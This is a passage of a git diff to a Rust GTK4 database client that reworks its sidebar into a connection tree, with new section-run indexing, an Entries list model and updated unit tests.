+    }
+    None
+}
+
+/// The row `widget` is, or holds: an expander's child, or a list item's
+/// in either list.
+fn row_in(widget: &gtk::Widget) -> Option<TreeRow> {
+    if let Some(row) = widget.downcast_ref::<TreeRow>() {
+        return Some(row.clone());
+    }
+    if let Some(expander) = widget.downcast_ref::<gtk::TreeExpander>() {
+        return expander.child().and_downcast();
+    }
+    let child = widget.first_child()?;
+    match child.downcast::<TreeRow>() {
+        Ok(row) => Some(row),
+        Err(child) => child.downcast::<gtk::TreeExpander>().ok()?.child().and_downcast(),
+    }
+}
+
+/// The row at `position`, when it is bound.
+fn bound_row(list_view: &gtk::ListView, position: u32) -> Option<TreeRow> {
+    let mut child = list_view.first_child();
+    while let Some(widget) = child {
+        if let Some(row) = row_in(&widget).filter(|row| row.position() == Some(position)) {
+            return Some(row);
+        }
+        child = widget.next_sibling();
+    }
+    None
+}
+
+fn bounds_in(widget: &impl IsA<gtk::Widget>, target: &impl IsA<gtk::Widget>) -> Option<gdk::Rectangle> {
+    widget.compute_bounds(target).map(|bounds| {
+        gdk::Rectangle::new(
+            bounds.x() as i32,
+            bounds.y() as i32,
+            bounds.width() as i32,
+            bounds.height() as i32,
+        )
+    })
+}
+
+fn top_rows(tree: &gtk::TreeListModel) -> Vec<gtk::TreeListRow> {
+    let count = tree.model().n_items();
+    (0..count).filter_map(|position| tree.child_row(position)).collect()
+}
+
+/// The rows under an open row, which never holds a schema's tables when
+/// walked from the roots.
+fn child_rows(row: &gtk::TreeListRow) -> Vec<gtk::TreeListRow> {
+    let count = row.children().map_or(0, |children| children.n_items());
+    (0..count).filter_map(|position| row.child_row(position)).collect()
+}
+
+/// The row of `node` among the children of the open row `parent`.
+fn child_row(parent: &gtk::TreeListRow, node: &TreeNode) -> Option<gtk::TreeListRow> {
+    let position = index_in(&parent.children()?, node)?;
+    parent.child_row(position)
+}
+
+fn expand(row: &gtk::TreeListRow) {
+    if !row.is_expanded() {
+        row.set_expanded(true);
+    }
+}
+
+/// Where `object` is in `model`: the roots, a group's connections or a
+/// connection's schemas, never a schema's tables.
+fn index_in(model: &impl IsA<gio::ListModel>, object: &impl IsA<glib::Object>) -> Option<u32> {
+    let object = object.upcast_ref::<glib::Object>();
+    (0..model.n_items()).find(|&at| model.item(at).as_ref() == Some(object))
+}
diff --git a/linux/crates/app/src/ui/workspace/sidebar/key_listing.rs b/linux/crates/app/src/ui/workspace/sidebar/key_listing.rs
index 39d766679e..701e426a77 100644
--- a/linux/crates/app/src/ui/workspace/sidebar/key_listing.rs
+++ b/linux/crates/app/src/ui/workspace/sidebar/key_listing.rs
@@ -104,7 +104,7 @@ impl WorkspaceModel {
         let cancel = keys.start_listing();
         self.sidebar_read += 1;
         let read = self.sidebar_read;
-        let pattern = KeyScan::search(&self.table_search.text());
+        let pattern = KeyScan::search(&self.sidebar.key_search());
         let searched = pattern.is_some();
         let heading = database_heading(&session);
         let input = self.input.clone();
@@ -143,7 +143,6 @@ impl WorkspaceModel {
                     keys.limit_banner.set_revealed(!listed.complete);
                 }
                 self.sidebar.show_keys(listed.index, searched);
-                self.sync_sidebar_selection();
             }
             Err(message) => {
                 let title = crate::i18n::gettext_f("Could not list the keys: {error}", &[("error", &message)]);
diff --git a/linux/crates/app/src/ui/workspace/sidebar/mod.rs b/linux/crates/app/src/ui/workspace/sidebar/mod.rs
index dc663d1e1e..8b95752d96 100644
--- a/linux/crates/app/src/ui/workspace/sidebar/mod.rs
+++ b/linux/crates/app/src/ui/workspace/sidebar/mod.rs
@@ -1,12 +1,13 @@
-//! The sidebar of the session's tables: every schema's tables and views
-//! in one recycling list, a section per schema, with one shared menu.
+//! The window's connection tree, and each session's part of it: the
+//! session's schemas and their tables, indexed off the GTK thread, with
+//! the table actions their menus reach.
 
 mod catalog_watch;
+mod connection_tree;
 mod key_listing;
 mod object_key;
 mod sidebar_affordances;
 mod sidebar_event;
-mod sidebar_header_factory;
 mod sidebar_index;
 mod sidebar_list;
 mod sidebar_list_imp;
@@ -14,133 +15,57 @@ mod sidebar_menu;
 mod sidebar_model;
 mod sidebar_object;
 mod sidebar_object_imp;
-mod sidebar_row_factory;
 mod sidebar_view;
+mod store_sync;
 #[cfg(test)]
-mod tests;
+pub(crate) mod tests;
+mod tree_menu;
+mod tree_node;
+mod tree_row;
 
 use std::collections::BTreeSet;
 use std::sync::Arc;
 
 use gtk4::prelude::*;
-use gtk4::subclass::prelude::*;
-use libadwaita::prelude::*;
 use tablepro_core::DataModel;
 use tablepro_core::meta::{ObjectInfo, ObjectScope, SchemaInfo, TableRef};
 use tablepro_session::runtime::{TaskFailure, Tasks};
 use tablepro_session::{ObjectListSnapshot, Session};
 
 pub(super) use catalog_watch::{catalog_watch, reconnect_watch, spawn_local};
+pub(crate) use connection_tree::{ConnectionTree, SessionRowState};
 pub(crate) use key_listing::{KeySidebar, KeysListed};
 pub(super) use sidebar_affordances::SidebarAffordances;
 use sidebar_index::SidebarIndex;
 pub(super) use sidebar_view::SidebarView;
 
 use super::table_naming::TableNaming;
-use super::{OpenMode, Workspace, WorkspaceInput, WorkspaceModel, WorkspaceSender};
+use super::{OpenMode, WorkspaceInput, WorkspaceModel, WorkspaceSender};
 use crate::runtime::DeliverInput;
 use sidebar_event::SidebarEvent;
 
-/// Build the sidebar into the workspace's template, sending what the
-/// user asks of it to `input`. A sidebar of keys searches on the server,
-/// so its search asks the workspace for a new listing; one of
+/// Build the session's part of the sidebar, sending what the user asks
+/// of it to `input`. A sidebar of keys searches on the server, so a
+/// search the tree gives it asks the workspace for a new listing; one of
 /// collections lists them as tables are listed, in its own words.
-pub(super) fn build(
-    workspace: &Workspace,
-    input: &WorkspaceSender,
-    session: &Session,
-    tasks: &Tasks,
-    model: DataModel,
-) -> SidebarView {
-    let imp = workspace.imp();
+pub(super) fn build(input: &WorkspaceSender, session: &Session, tasks: &Tasks, model: DataModel) -> SidebarView {
     let events = input.clone();
     let view = SidebarView::new(
         move |event| events.deliver(workspace_input(event)),
         SidebarAffordances::for_session(session),
         Some(tasks.clone()),
     );
-    imp.sidebar_slot.set_child(Some(view.widget()));
     match model {
         DataModel::KeyValue => {
-            view.hold_keys();
             let listing = input.clone();
-            view.follow_key_search(&imp.table_search, move || listing.deliver(WorkspaceInput::ListKeys));
-            describe_key_search(workspace);
-            describe_key_empty_page(workspace);
+            view.hold_keys(move || listing.deliver(WorkspaceInput::ListKeys));
         }
-        DataModel::Document => {
-            view.hold_collections();
-            view.follow_search(&imp.table_search);
-            describe_collections(workspace);
-        }
-        DataModel::Relational => view.follow_search(&imp.table_search),
+        DataModel::Document => view.hold_collections(),
+        DataModel::Relational => {}
     }
-    imp.table_search_bar.connect_entry(&*imp.table_search);
-    imp.table_search_bar.set_key_capture_widget(Some(&*imp.sidebar_root));
-    imp.table_search_toggle
-        .bind_property("active", &*imp.table_search_bar, "search-mode-enabled")
-        .bidirectional()
-        .sync_create()
-        .build();
     view
 }
 
-/// The search and its buttons name keys, not tables.
-fn describe_key_search(workspace: &Workspace) {
-    let imp = workspace.imp();
-    let filter = crate::i18n::gettext("Filter keys");
-    imp.table_search
-        .set_placeholder_text(Some(&crate::i18n::gettext("Filter keys…")));
-    imp.table_search
-        .update_property(&[gtk4::accessible::Property::Label(&filter)]);
-    crate::ui::a11y::describe_icon_button(
-        &imp.table_search_toggle.get(),
-        &crate::i18n::gettext("Search Keys"),
-        None,
-    );
-    crate::ui::a11y::describe_icon_button(
-        &imp.refresh_tables_button.get(),
-        &crate::i18n::gettext("Refresh Keys"),
-        Some("win.refresh-tables"),
-    );
-}
-
-/// The page with no tab open speaks of keys and an editor of commands.
-fn describe_key_empty_page(workspace: &Workspace) {
-    let imp = workspace.imp();
-    imp.empty_page.set_title(&crate::i18n::gettext("Select a Key"));
-    imp.empty_page.set_description(Some(&crate::i18n::gettext(
-        "Choose a key in the sidebar or open the editor.",
-    )));
-    imp.empty_editor_button.set_label(&crate::i18n::gettext("Open Editor"));
-}
-
-/// The search, its buttons and the page with no tab open name
-/// collections, and the editor takes the engine's shell, not SQL.
-fn describe_collections(workspace: &Workspace) {
-    let imp = workspace.imp();
-    let filter = crate::i18n::gettext("Filter collections");
-    imp.table_search
-        .set_placeholder_text(Some(&crate::i18n::gettext("Filter collections…")));
-    imp.table_search
-        .update_property(&[gtk4::accessible::Property::Label(&filter)]);
-    crate::ui::a11y::describe_icon_button(
-        &imp.table_search_toggle.get(),
-        &crate::i18n::gettext("Search Collections"),
-        None,
-    );
-    crate::ui::a11y::describe_icon_button(
-        &imp.refresh_tables_button.get(),
-        &crate::i18n::gettext("Refresh Collections"),
-        Some("win.refresh-tables"),
-    );
-    imp.empty_page.set_title(&crate::i18n::gettext("Select a Collection"));
-    imp.empty_page.set_description(Some(&crate::i18n::gettext(
-        "Choose a collection in the sidebar or open the editor.",
-    )));
-    imp.empty_editor_button.set_label(&crate::i18n::gettext("Open Editor"));
-}
-
 fn workspace_input(event: SidebarEvent) -> WorkspaceInput {
     let select = |table: TableRef, open_mode| WorkspaceInput::SelectTable {
         schema: table.schema,
@@ -389,13 +314,4 @@ impl WorkspaceModel {
             self.sidebar.set_affordances(SidebarAffordances::for_session(&session));
         }
     }
-
-    /// With no table tab in front, no row stays selected: one would say
-    /// the editor shows that table.
-    pub(super) fn sync_sidebar_selection(&self) {
-        let shown = self
-            .selected_workspace_tab_id()
-            .and_then(|id| self.workspace_tabs.borrow().get(&id)?.sidebar_object());
-        self.sidebar.sync_selection(shown.as_ref());
-    }
 }
diff --git a/linux/crates/app/src/ui/workspace/sidebar/sidebar_header_factory.rs b/linux/crates/app/src/ui/workspace/sidebar/sidebar_header_factory.rs
deleted file mode 100644
index 34c2665edc..0000000000
--- a/linux/crates/app/src/ui/workspace/sidebar/sidebar_header_factory.rs
+++ /dev/null
@@ -1,91 +0,0 @@
-use std::rc::Weak;
-
-use gtk4 as gtk;
-use gtk4::prelude::*;
-
-use super::sidebar_menu::{GROUP, NEW_TABLE, SHOW_SCHEMA_DIAGRAM};
-use super::sidebar_object::SidebarObject;
-use super::sidebar_view::SidebarInner;
-use crate::ui::a11y::describe_icon_button;
-
-/// A schema's heading, with its ER Diagram button where the connection
-/// holds tables in SQL, and its New Table button where the connection creates
-/// them. ClickHouse does not: a table there needs an engine and a
-/// sorting key the structure tab has no place for, so the button would
-/// only fail.
-pub(super) fn header_factory(view: Weak<SidebarInner>) -> gtk::SignalListItemFactory {
-    let factory = gtk::SignalListItemFactory::new();
-    factory.connect_setup(|_, object| {
-        let Some(header) = object.downcast_ref::<gtk::ListHeader>() else {
-            return;
-        };
-        let row = gtk::Box::builder()
-            .orientation(gtk::Orientation::Horizontal)
-            .spacing(6)
-            .margin_top(12)
-            .margin_bottom(6)
-            .margin_start(12)
-            .margin_end(12)
-            .build();
-        let title = gtk::Label::builder().xalign(0.0).hexpand(true).build();
-        // GtkPlacesSidebar's section header: small, bold and dim.
-        title.add_css_class("caption-heading");
-        title.add_css_class("dimmed");
-        row.append(&title);
-        row.append(&header_button(crate::ui::icons::TABLE_RELATION, SHOW_SCHEMA_DIAGRAM));
-        row.append(&header_button(crate::ui::icons::LIST_ADD, NEW_TABLE));
-        header.set_child(Some(&row));
-    });
-    factory.connect_bind(move |_, object| {
-        let Some(header) = object.downcast_ref::<gtk::ListHeader>() else {
-            return;
-        };
-        let (Some(row), Some(object)) = (header.child(), header.item().and_downcast::<SidebarObject>()) else {
-            return;
-        };
-        let title = object.section_title();
-        let Some(label) = row.first_child().and_downcast::<gtk::Label>() else {
-            return;
-        };
-        label.set_label(&title);
-        let (Some(diagram), Some(add)) = (
-            label.next_sibling().and_downcast::<gtk::Button>(),
-            row.last_child().and_downcast::<gtk::Button>(),
-        ) else {
-            return;
-        };
-        let schema = object.schema();
-        diagram.set_visible(
-            view.upgrade()
-                .is_some_and(|view| view.affordances().speaks_sql && !view.holds_keys()),
-        );
-        diagram.set_action_target_value(Some(&schema.to_variant()));
-        let diagram_label = match schema {
-            Some(_) => crate::i18n::gettext_f("Show ER Diagram of {schema}", &[("schema", &title)]),
-            None => crate::i18n::gettext("Show ER Diagram"),
-        };
-        describe_icon_button(&diagram, &diagram_label, None);
-        let offered = view.upgrade().is_some_and(|view| view.affordances().offers_new_table());
-        add.set_visible(offered);
-        add.set_action_target_value(Some(&schema.to_variant()));
-        // The label says which schema the table goes in.
-        let label = match schema {
-            Some(_) => crate::i18n::gettext_f("New Table in {schema}…", &[("schema", &title)]),
-            None => crate::i18n::gettext("New Table…"),
-        };
-        describe_icon_button(&add, &label, None);
-    });
-    factory
-}
-
-fn header_button(icon: &str, action: &str) -> gtk::Button {
-    let button = gtk::Button::builder()
-        .icon_name(icon)
-        .valign(gtk::Align::Center)
-        .build();
-    button.add_css_class("flat");
-    // The target first, or GTK warns that the action takes one.
-    button.set_action_target_value(Some(&None::<String>.to_variant()));
-    button.set_action_name(Some(&format!("{GROUP}.{action}")));
-    button
-}
diff --git a/linux/crates/app/src/ui/workspace/sidebar/sidebar_index.rs b/linux/crates/app/src/ui/workspace/sidebar/sidebar_index.rs
index 78e961c847..cfe882c1ba 100644
--- a/linux/crates/app/src/ui/workspace/sidebar/sidebar_index.rs
+++ b/linux/crates/app/src/ui/workspace/sidebar/sidebar_index.rs
@@ -23,6 +23,17 @@ pub(crate) struct SidebarIndex {
     /// Where each entry's text starts in `search`.
     starts: Vec<usize>,
     positions: HashMap<TableRef, u32>,
+    /// Each section's entries, in list order.
+    runs: Vec<SectionRun>,
+}
+
+/// One section's entries, which the list order keeps together: from
+/// `start` to before `end`.
+#[derive(Debug, Clone, Copy, PartialEq, Eq)]
+pub(crate) struct SectionRun {
+    pub(crate) section: u32,
+    pub(crate) start: u32,
+    pub(crate) end: u32,
 }
 
 #[derive(Debug)]
@@ -107,15 +118,19 @@ impl SidebarIndex {
             index.search.push_str(&search);
             index.search.push('\0');
             index.positions.entry(entry.table.clone()).or_insert(at);
+            match index.runs.last_mut() {
+                Some(run) if run.section == entry.section => run.end = at + 1,
+                _ => index.runs.push(SectionRun {
+                    section: entry.section,
+                    start: at,
+                    end: at + 1,
+                }),
+            }
             index.entries.push(entry);
         }
         index
     }
 
-    pub(crate) fn len(&self) -> usize {
-        self.entries.len()
-    }
-
     pub(crate) fn entry(&self, index: u32) -> Option<&IndexEntry> {
         self.entries.get(index as usize)
     }
@@ -129,6 +144,27 @@ impl SidebarIndex {
         self.positions.get(table).copied()
     }
 
+    /// Every section's entries, in list order.
+    pub(crate) fn runs(&self) -> &[SectionRun] {
+        &self.runs
+    }
+
+    /// `entries`, in list order, split by the run each one is in: one
+    /// list per run, in run order.
+    pub(crate) fn split_by_run(&self, entries: &[u32]) -> Vec<Vec<u32>> {
+        let mut split: Vec<Vec<u32>> = self.runs.iter().map(|_| Vec::new()).collect();
+        let mut run = 0;
+        for &entry in entries {
+            while self.runs.get(run).is_some_and(|current| current.end <= entry) {
+                run += 1;
+            }
+            if let Some(found) = split.get_mut(run) {
+                found.push(entry);
+            }
+        }
+        split
+    }
+
     /// The entries whose `schema.name` holds `query`, which `search_key`
     /// prepared, in list order. Matches come in order, so the entry each
     /// one is in only ever moves forward.
@@ -240,9 +276,13 @@ mod tests {
         }
     }
 
+    fn len(index: &SidebarIndex) -> u32 {
+        index.runs().last().map_or(0, |run| run.end)
+    }
+
     /// Each entry's section title and name, in list order.
     fn listed(index: &SidebarIndex) -> Vec<(String, String)> {
-        (0..u32::try_from(index.len()).unwrap_or_default())
+        (0..len(index))
             .filter_map(|at| index.entry(at))
             .map(|entry| {
                 let title = index
@@ -335,7 +375,7 @@ mod tests {
             &[],
         );
 
-        assert_eq!(index.len(), 2);
+        assert_eq!(len(&index), 2);
         let found = index.find(&TableRef::new(Some("public".to_owned()), "active_users"));
         assert_eq!(found, Some(0));
         assert_eq!(
@@ -412,6 +452,38 @@ mod tests {
         assert_eq!(index.matching(&search_key("HÀNG")), [0]);
     }
 
+    #[test]
+    fn each_section_is_one_run_and_a_search_splits_by_run() {
+        let index = SidebarIndex::build(
+            &[
+                table("sales", "orders"),
+                table("public", "users"),
+                table("sales", "carts"),
+                table("public", "accounts"),
+            ],
+            &[schema("public", true, false)],
+        );
+
+        let titles: Vec<(String, u32, u32)> = index
+            .runs()
+            .iter()
+            .map(|run| {
+                let title = index
+                    .section(run.section)
+                    .map(|section| section.title.clone())
+                    .unwrap_or_default();
+                (title, run.start, run.end)
+            })
+            .collect();
+        assert_eq!(titles, [("public".to_owned(), 0, 2), ("sales".to_owned(), 2, 4)]);
+        assert_eq!(
+            index.split_by_run(&index.matching(&search_key("r"))),
+            [vec![1], vec![2, 3]]
+        );
+        assert_eq!(index.split_by_run(&[]), [Vec::<u32>::new(), Vec::new()]);
+        assert!(SidebarIndex::build(&[], &[]).runs().is_empty());
+    }
+
     #[test]
     fn fifty_thousand_tables_index_in_list_order() {
         let objects: Vec<ObjectInfo> = (0..50_000)
@@ -421,7 +493,7 @@ mod tests {
 
         let index = SidebarIndex::build(&objects, &[schema("tenant_000", true, false)]);
 
-        assert_eq!(index.len(), 50_000);
+        assert_eq!(len(&index), 50_000);
         assert_eq!(index.sections.len(), 100);
         let first = listed(&index).into_iter().take(2).collect::<Vec<_>>();
         assert_eq!(
diff --git a/linux/crates/app/src/ui/workspace/sidebar/sidebar_list.rs b/linux/crates/app/src/ui/workspace/sidebar/sidebar_list.rs
index eb225d950b..e16e492b6b 100644
--- a/linux/crates/app/src/ui/workspace/sidebar/sidebar_list.rs
+++ b/linux/crates/app/src/ui/workspace/sidebar/sidebar_list.rs
@@ -1,6 +1,5 @@
 use std::sync::Arc;
 
-use gtk4 as gtk;
 use gtk4::prelude::*;
 use gtk4::subclass::prelude::*;
 use gtk4::{gio, glib};
@@ -9,83 +8,92 @@ use super::sidebar_index::SidebarIndex;
 use super::sidebar_list_imp as imp;
 
 glib::wrapper! {
-    /// The sidebar's rows: the index's entries the search keeps, in
-    /// their sections. A row's object is made when the list view first
-    /// asks for it, so the GTK thread pays for the rows on screen, not
-    /// for the catalog.
+    /// One schema's rows of the session's sidebar: every table of the
+    /// schema, or the ones a search found there. A row's object is made
+    /// when the tree first asks for it, so the GTK thread pays for the
+    /// rows on screen, not for the catalog.
     pub struct SidebarList(ObjectSubclass<imp::SidebarList>)
-        @implements gio::ListModel, gtk::SectionModel;
+        @implements gio::ListModel;
 }
 
-/// The entries of an index a search keeps, in list order, and each
-/// section's rows among them. Worked out away from the GTK thread: a
-/// search reads every table's key.
-#[derive(Debug)]
-pub(crate) struct SidebarRows {
-    index: Arc<SidebarIndex>,
-    shown: Vec<u32>,
-    runs: Vec<(u32, u32)>,
+/// The index's entries a list shows: a whole section's run, or the
+/// entries a search picked from it, in list order.
+#[derive(Debug, Clone, PartialEq, Eq)]
+pub(crate) enum Entries {
+    Run(u32, u32),
+    Picked(Vec<u32>),
 }
 
-impl SidebarRows {
-    /// `index`'s entries matching `query` as `search_key` gave it, every
-    /// one when it is empty.
-    pub(crate) fn new(index: Arc<SidebarIndex>, query: &str) -> Self {
-        let shown = matching(&index, query);
-        let runs = runs(&index, &shown);
-        Self { index, shown, runs }
+impl Default for Entries {
+    fn default() -> Self {
+        Self::Picked(Vec::new())
     }
 }
 
-impl SidebarList {
-    pub(crate) fn new() -> Self {
-        glib::Object::new()
+impl Entries {
+    pub(crate) fn len(&self) -> u32 {
+        match self {
+            Self::Run(start, end) => end.saturating_sub(*start),
+            Self::Picked(entries) => u32::try_from(entries.len()).unwrap_or(u32::MAX),
+        }
     }
 
-    pub(crate) fn index(&self) -> Arc<SidebarIndex> {
-        self.imp().index.borrow().clone()
+    pub(crate) fn get(&self, position: u32) -> Option<u32> {
+        match self {
+            Self::Run(start, end) => start.checked_add(position).filter(|entry| entry < end),
+            Self::Picked(entries) => entries.get(position as usize).copied(),
+        }
     }
 
-    /// How many rows were made since the index was last replaced.
-    #[cfg(test)]
-    pub(crate) fn made(&self) -> usize {
-        self.imp().objects.borrow().len()
+    /// Where the index's `entry` is among these.
+    pub(crate) fn position_of(&self, entry: u32) -> Option<u32> {
+        match self {
+            Self::Run(start, end) => entry.checked_sub(*start).filter(|_| entry < *end),
+            Self::Picked(entries) => entries
+                .binary_search(&entry)
+                .ok()
+                .and_then(|position| u32::try_from(position).ok()),
+        }
+    }
+}
+
+impl SidebarList {
+    pub(crate) fn new() -> Self {
+        glib::Object::new()
     }
 
-    /// Where the index's `entry` is shown, if the search keeps it.
+    /// Where the index's `entry` is shown, if the list shows it.
     pub(crate) fn position_of_entry(&self, entry: u32) -> Option<u32> {
-        let shown = self.imp().shown.borrow();
-        shown
-            .binary_search(&entry)
-            .ok()
-            .and_then(|position| u32::try_from(position).ok())
+        self.imp().entries.borrow().position_of(entry)
     }
 
-    /// Show `rows`, taking every row out, then putting the new ones in.
-    /// GtkListView looks for the rows it tracks, its scroll anchor among
-    /// them, through every row a change adds in place of them, which
-    /// would make an object for each; a change that only removes or only
-    /// adds has nothing to look through. The list opens at its first row,
-    /// as a new list or a new search should.
-    pub(crate) fn show(&self, rows: SidebarRows) {
-        let SidebarRows { index, shown, runs } = rows;
+    /// Whether the list shows `entries` of `index` already.
+    pub(crate) fn shows(&self, index: &Arc<SidebarIndex>, entries: &Entries) -> bool {
         let imp = self.imp();
-        let replaced = !Arc::ptr_eq(&imp.index.borrow(), &index);
-        if !replaced && *imp.shown.borrow() == shown {
+        Arc::ptr_eq(&imp.index.borrow(), index) && *imp.entries.borrow() == *entries
+    }
+
+    /// Show `entries` of `index`, taking every row out, then putting the
+    /// new ones in. GtkListView looks for the rows it tracks, its scroll
+    /// anchor among them, through every row a change adds in place of
+    /// them, which would make an object for each; a change that only
+    /// removes or only adds has nothing to look through. The same rows
+    /// of the same index change nothing.
+    pub(crate) fn show(&self, index: &Arc<SidebarIndex>, entries: Entries) {
+        if self.shows(index, &entries) {
             return;
         }
-        if replaced {
-            imp.objects.borrow_mut().clear();
-            imp.index.replace(index);
+        let imp = self.imp();
+        imp.objects.borrow_mut().clear();
+        if !Arc::ptr_eq(&imp.index.borrow(), index) {
+            imp.index.replace(index.clone());
         }
-        let removed = u32::try_from(imp.shown.take().len()).unwrap_or(u32::MAX);
-        imp.runs.take();
+        let removed = imp.entries.take().len();
         if removed > 0 {
             self.items_changed(0, removed, 0);
         }
-        let added = u32::try_from(shown.len()).unwrap_or(u32::MAX);
-        imp.shown.replace(shown);
-        imp.runs.replace(runs);
+        let added = entries.len();
+        imp.entries.replace(entries);
         if added > 0 {
             self.items_changed(0, 0, added);
         }
@@ -98,33 +106,10 @@ impl Default for SidebarList {
     }
 }
 
-fn matching(index: &SidebarIndex, query: &str) -> Vec<u32> {
-    if query.is_empty() {
-        return (0..u32::try_from(index.len()).unwrap_or(u32::MAX)).collect();
-    }
-    index.matching(query)
-}
-
-/// Each section's rows among `shown`, which keeps the index's order, so
-/// a section's rows are next to each other.
-fn runs(index: &SidebarIndex, shown: &[u32]) -> Vec<(u32, u32)> {
-    let mut runs: Vec<(u32, u32)> = Vec::new();
-    let mut current = None;
-    for (position, &entry) in shown.iter().enumerate() {
-        let position = u32::try_from(position).unwrap_or(u32::MAX);
-        let section = index.entry(entry).map(|entry| entry.section);
-        match runs.last_mut() {
-            Some(run) if section == current => run.1 = position + 1,
-            _ => runs.push((position, position + 1)),
-        }
-        current = section;
-    }
-    runs
-}
-
 #[cfg(test)]
 mod tests {
     use std::cell::RefCell;
+    use std::rc::Rc;
 
     use tablepro_core::meta::{ObjectInfo, ObjectKind, SchemaInfo};
 
@@ -132,7 +117,7 @@ mod tests {
     use super::super::sidebar_object::SidebarObject;
     use super::*;
 
-    fn index(objects: &[(&str, &str)]) -> SidebarIndex {
+    fn index(objects: &[(&str, &str)]) -> Arc<SidebarIndex> {
         let objects: Vec<ObjectInfo> = objects
             .iter()
             .map(|(schema, name)| ObjectInfo {
@@ -146,30 +131,18 @@ mod tests {
             is_default: true,
             is_system: false,
         }];
-        SidebarIndex::build(&objects, &schemas)
-    }
-
-    fn replace(list: &SidebarList, index: SidebarIndex, query: &str) {
-        list.show(SidebarRows::new(Arc::new(index), query));
+        Arc::new(SidebarIndex::build(&objects, &schemas))
     }
 
-    fn filter(list: &SidebarList, query: &str) {
-        list.show(SidebarRows::new(list.index(), query));
-    }
-
-    fn sections(list: &SidebarList) -> Vec<(u32, u32)> {
-        let mut found = Vec::new();
-        let mut position = 0;
-        while position < list.n_items() {
-            let section = list.section(position);
-            found.push(section);
-            position = section.1;
-        }
-        found
+    fn names(list: &SidebarList) -> Vec<String> {
+        (0..list.n_items())
+            .filter_map(|at| list.item(at).and_downcast::<SidebarObject>())
+            .map(|object| object.name())
+            .collect()
     }
 
-    fn changes(list: &SidebarList) -> std::rc::Rc<RefCell<Vec<(u32, u32, u32)>>> {
-        let seen = std::rc::Rc::new(RefCell::new(Vec::new()));
+    fn changes(list: &SidebarList) -> Rc<RefCell<Vec<(u32, u32, u32)>>> {
+        let seen = Rc::new(RefCell::new(Vec::new()));
         let log = seen.clone();
         list.connect_items_changed(move |_, position, removed, added| {
             log.borrow_mut().push((position, removed, added));
@@ -178,61 +151,49 @@ mod tests {
     }
 
     #[gtk4::test]
-    fn sections_are_the_runs_of_one_schema() {
+    fn a_run_shows_one_sections_rows() {
+        let index = index(&[
+            ("sales", "orders"),
+            ("public", "users"),
+            ("sales", "carts"),
+            ("public", "accounts"),
+        ]);
         let list = SidebarList::new();
-        replace(
-            &list,
-            index(&[
-                ("sales", "orders"),
-                ("public", "users"),
-                ("sales", "carts"),
-                ("public", "accounts"),
-            ]),
-            "",
-        );
 
-        assert_eq!(list.n_items(), 4);
-        assert_eq!(sections(&list), [(0, 2), (2, 4)]);
-        assert_eq!(list.section(9), (4, u32::MAX), "past the end");
-        let names: Vec<String> = (0..4)
-            .filter_map(|at| list.item(at).and_downcast::<SidebarObject>())
-            .map(|object| object.name())
-            .collect();
-        assert_eq!(names, ["accounts", "users", "carts", "orders"]);
+        list.show(&index, Entries::Run(2, 4));
+
+        assert_eq!(names(&list), ["carts", "orders"]);
+        assert_eq!(list.position_of_entry(3), Some(1));
+        assert_eq!(list.position_of_entry(1), None);
+        assert_eq!(list.item(2), None, "past the end");
     }
 
     #[gtk4::test]
-    fn a_row_keeps_its_object_until_the_index_is_replaced() {
+    fn a_row_keeps_its_object_while_the_list_shows_it() {
+        let first_index = index(&[("public", "users"), ("public", "orders")]);
         let list = SidebarList::new();
-        replace(&list, index(&[("public", "users"), ("public", "orders")]), "");
+        list.show(&first_index, Entries::Run(0, 2));
         let first = list.item(0);
 
-        filter(&list, &search_key("o"));
-        filter(&list, "");
+        list.show(&first_index, Entries::Run(0, 2));
 
-        assert_eq!(list.item(0), first, "a search made the row anew");
-        replace(&list, index(&[("public", "users"), ("public", "orders")]), "");
+        assert_eq!(list.item(0), first, "the same rows made the row anew");
+        list.show(&index(&[("public", "users"), ("public", "orders")]), Entries::Run(0, 2));
         assert_ne!(list.item(0), first, "a new index kept an old row");
     }
 
     #[gtk4::test]
     fn a_search_is_one_change_and_none_when_the_rows_stay() {
+        let index = index(&[("public", "users"), ("public", "orders"), ("public", "user_log")]);
         let list = SidebarList::new();
-        replace(
-            &list,
-            index(&[("public", "users"), ("public", "orders"), ("sales", "user_log")]),
-            "",
-        );
+        list.show(&index, Entries::Run(0, 3));
         let seen = changes(&list);
 
-        filter(&list, &search_key("user"));
-        filter(&list, &search_key("user"));
-        filter(&list, &search_key("users"));
+        list.show(&index, Entries::Picked(index.matching(&search_key("user"))));
+        list.show(&index, Entries::Picked(index.matching(&search_key("user"))));
+        list.show(&index, Entries::Picked(index.matching(&search_key("users"))));
 
         assert_eq!(*seen.borrow(), [(0, 3, 0), (0, 0, 2), (0, 2, 0), (0, 0, 1)]);
-        assert_eq!(sections(&list), [(0, 1)]);
-        assert_eq!(list.position_of_entry(1), Some(0));
-        assert_eq!(list.position_of_entry(0), None);
     }
 
     #[gtk4::test]
@@ -240,27 +201,9 @@ mod tests {
         let list = SidebarList::new();
         let seen = changes(&list);
 
-        replace(&list, index(&[]), "");
+        list.show(&index(&[]), Entries::default());
 
         assert!(seen.borrow().is_empty());
-        assert_eq!(list.section(0), (0, u32::MAX));
-    }
-
-    #[gtk4::test]
-    fn a_new_index_keeps_the_search() {
-        let list = SidebarList::new();
-        let query = search_key("ord");
-
-        replace(
-            &list,
-            index(&[("public", "users"), ("public", "orders"), ("public", "carts")]),
-            &query,
-        );
-
-        assert_eq!(list.n_items(), 1);
-        assert_eq!(
-            list.item(0).and_downcast::<SidebarObject>().map(|object| object.name()),
-            Some("orders".to_owned())
-        );
+        assert_eq!(list.n_items(), 0);
     }
 }
diff --git a/linux/crates/app/src/ui/workspace/sidebar/sidebar_list_imp.rs b/linux/crates/app/src/ui/workspace/sidebar/sidebar_list_imp.rs
index 9778055e9e..6e2e85f9b7 100644
--- a/linux/crates/app/src/ui/workspace/sidebar/sidebar_list_imp.rs
+++ b/linux/crates/app/src/ui/workspace/sidebar/sidebar_list_imp.rs
@@ -1,32 +1,31 @@
 use std::cell::RefCell;
-use std::collections::HashMap;
 use std::sync::Arc;
 
-use gtk4 as gtk;
 use gtk4::prelude::*;
 use gtk4::subclass::prelude::*;
 use gtk4::{gio, glib};
 
 use super::sidebar_index::SidebarIndex;
+use super::sidebar_list::Entries;
 use super::sidebar_object::SidebarObject;
 
 #[derive(Default)]
 pub struct SidebarList {
     pub(super) index: RefCell<Arc<SidebarIndex>>,
-    /// The entries the search keeps, in list order.
-    pub(super) shown: RefCell<Vec<u32>>,
-    /// Each section's rows in `shown`, from the first to past the last.
-    pub(super) runs: RefCell<Vec<(u32, u32)>>,
-    /// The rows made so far, by entry: the same entry gives the same
-    /// object until a new index replaces it.
